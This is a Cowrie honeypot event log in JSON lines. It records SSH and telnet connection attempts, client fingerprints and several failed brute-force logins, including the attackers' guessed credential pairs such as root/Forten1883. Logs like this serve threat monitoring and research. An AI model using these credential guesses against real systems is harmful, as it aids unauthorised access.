{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48196,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5532053358","protocol":"telnet","message":"New connection: 50.6.8.71:48196 (10.17.0.5:23) [session: 3d5532053358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.011959Z"}
{"eventid":"cowrie.session.closed","duration":31.31037163734436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.570778Z","src_ip":"50.6.8.71","session":"2bb925f8a692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"50aeb1f46f9e","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 50aeb1f46f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.576361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.580932Z","src_ip":"4.210.91.174","session":"50aeb1f46f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.648262Z","src_ip":"4.210.91.174","session":"50aeb1f46f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaguar","message":"login attempt [root/jaguar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:57.948079Z","src_ip":"4.210.91.174","session":"50aeb1f46f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:59.018729Z","src_ip":"4.210.91.174","session":"50aeb1f46f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34390115737915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:02.589675Z","src_ip":"50.6.8.71","session":"8bd4b5f0ed77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79645228385925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:07.371684Z","src_ip":"50.6.8.71","session":"609c04dbce3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69495987892151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:10.988315Z","src_ip":"50.6.8.71","session":"cf66eac0a602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00151205062866,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:11.248876Z","src_ip":"181.94.225.234","session":"83f16b2b0d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53522,"dst_ip":"10.17.0.5","dst_port":23,"session":"8233d3c8c184","protocol":"telnet","message":"New connection: 50.6.8.71:53522 (10.17.0.5:23) [session: 8233d3c8c184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:12.471107Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":6505,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d21869cdf3a","protocol":"telnet","message":"New connection: 181.94.225.234:6505 (159.203.135.109:23) [session: 9d21869cdf3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:12.652394Z"}
{"eventid":"cowrie.session.closed","duration":120.0020854473114,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:13.280517Z","src_ip":"181.94.225.234","session":"9334f622d20d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":6644,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b2c91fc08d","protocol":"telnet","message":"New connection: 181.94.225.234:6644 (159.203.135.109:23) [session: 12b2c91fc08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:13.626112Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53538,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aaad25586cb","protocol":"telnet","message":"New connection: 50.6.8.71:53538 (10.17.0.5:23) [session: 3aaad25586cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:14.070050Z"}
{"eventid":"cowrie.session.closed","duration":42.68809700012207,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:18.899958Z","src_ip":"50.6.8.71","session":"5ceea15d40c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39926,"dst_ip":"10.17.0.5","dst_port":23,"session":"3911a66b2779","protocol":"telnet","message":"New connection: 50.6.8.71:39926 (10.17.0.5:23) [session: 3911a66b2779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:19.958944Z"}
{"eventid":"cowrie.session.closed","duration":31.16168761253357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:20.284398Z","src_ip":"23.94.28.189","session":"a8f179421fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57160,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4fc7fd03da9","protocol":"ssh","message":"New connection: 51.250.105.222:57160 (10.17.0.5:22) [session: f4fc7fd03da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:20.666342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:20.670901Z","src_ip":"51.250.105.222","session":"f4fc7fd03da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:20.799160Z","src_ip":"51.250.105.222","session":"f4fc7fd03da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:21.191131Z","src_ip":"51.250.105.222","session":"f4fc7fd03da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:22.320881Z","src_ip":"51.250.105.222","session":"f4fc7fd03da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.48840665817261,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:23.378055Z","src_ip":"50.6.8.71","session":"a831516cb5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23939085006714,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:25.427469Z","src_ip":"50.6.8.71","session":"e8a3148f6ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866901874542236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:26.203292Z","src_ip":"50.6.8.71","session":"1f6727044396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30648732185364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:27.346486Z","src_ip":"50.6.8.71","session":"4046356117f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51868,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e084ee83438","protocol":"telnet","message":"New connection: 50.6.8.71:51868 (10.17.0.5:23) [session: 5e084ee83438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:28.214049Z"}
{"eventid":"cowrie.session.closed","duration":35.83752965927124,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:28.574112Z","src_ip":"50.6.8.71","session":"5aa2e8e8292f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13774,"dst_ip":"159.203.135.109","dst_port":22,"session":"07327db85485","protocol":"ssh","message":"New connection: 38.93.206.2:13774 (159.203.135.109:22) [session: 07327db85485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:29.348045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:29.352278Z","src_ip":"38.93.206.2","session":"07327db85485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:29.402848Z","src_ip":"38.93.206.2","session":"07327db85485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:29.553729Z","src_ip":"38.93.206.2","session":"07327db85485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.92233395576477,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:29.934169Z","src_ip":"50.6.8.71","session":"3d5532053358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.56497764587402,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:30.128028Z","src_ip":"23.94.28.189","session":"659dfdf25d36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:30.606179Z","src_ip":"38.93.206.2","session":"07327db85485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"a696812393c4","protocol":"telnet","message":"New connection: 50.6.8.71:51880 (10.17.0.5:23) [session: a696812393c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:31.734498Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51886,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec52955f111","protocol":"telnet","message":"New connection: 50.6.8.71:51886 (10.17.0.5:23) [session: 0ec52955f111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:34.869913Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53106,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f09c806cddd","protocol":"telnet","message":"New connection: 50.6.8.71:53106 (10.17.0.5:23) [session: 2f09c806cddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:38.651006Z"}
{"eventid":"cowrie.session.closed","duration":31.56697678565979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:44.037997Z","src_ip":"50.6.8.71","session":"8233d3c8c184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53112,"dst_ip":"10.17.0.5","dst_port":23,"session":"355f18bd2b65","protocol":"telnet","message":"New connection: 50.6.8.71:53112 (10.17.0.5:23) [session: 355f18bd2b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:45.199259Z"}
{"eventid":"cowrie.session.closed","duration":31.312854766845703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:45.382808Z","src_ip":"50.6.8.71","session":"3aaad25586cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":45664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4238a52636","protocol":"ssh","message":"New connection: 200.77.172.159:45664 (159.203.135.109:22) [session: ca4238a52636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:53.889591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:53.894387Z","src_ip":"200.77.172.159","session":"ca4238a52636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:53.971043Z","src_ip":"200.77.172.159","session":"ca4238a52636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:54.305414Z","src_ip":"200.77.172.159","session":"ca4238a52636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36154,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a09911dec7e","protocol":"telnet","message":"New connection: 50.6.8.71:36154 (10.17.0.5:23) [session: 7a09911dec7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:54.349601Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:55.384839Z","src_ip":"200.77.172.159","session":"ca4238a52636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.86650514602661,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:28:58.825314Z","src_ip":"50.6.8.71","session":"3911a66b2779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8859441280365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:01.099884Z","src_ip":"50.6.8.71","session":"5e084ee83438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.105432987213135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:09.839738Z","src_ip":"50.6.8.71","session":"a696812393c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"8334f9b0db04","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 8334f9b0db04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:13.011337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:13.016465Z","src_ip":"4.210.91.174","session":"8334f9b0db04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:13.084323Z","src_ip":"4.210.91.174","session":"8334f9b0db04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:13.383486Z","src_ip":"4.210.91.174","session":"8334f9b0db04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:14.454152Z","src_ip":"4.210.91.174","session":"8334f9b0db04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07402205467224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:18.273158Z","src_ip":"50.6.8.71","session":"355f18bd2b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.05677080154419,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:20.707690Z","src_ip":"50.6.8.71","session":"2f09c806cddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.991676568984985,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:20.861471Z","src_ip":"50.6.8.71","session":"0ec52955f111","protocol":"telnet"}
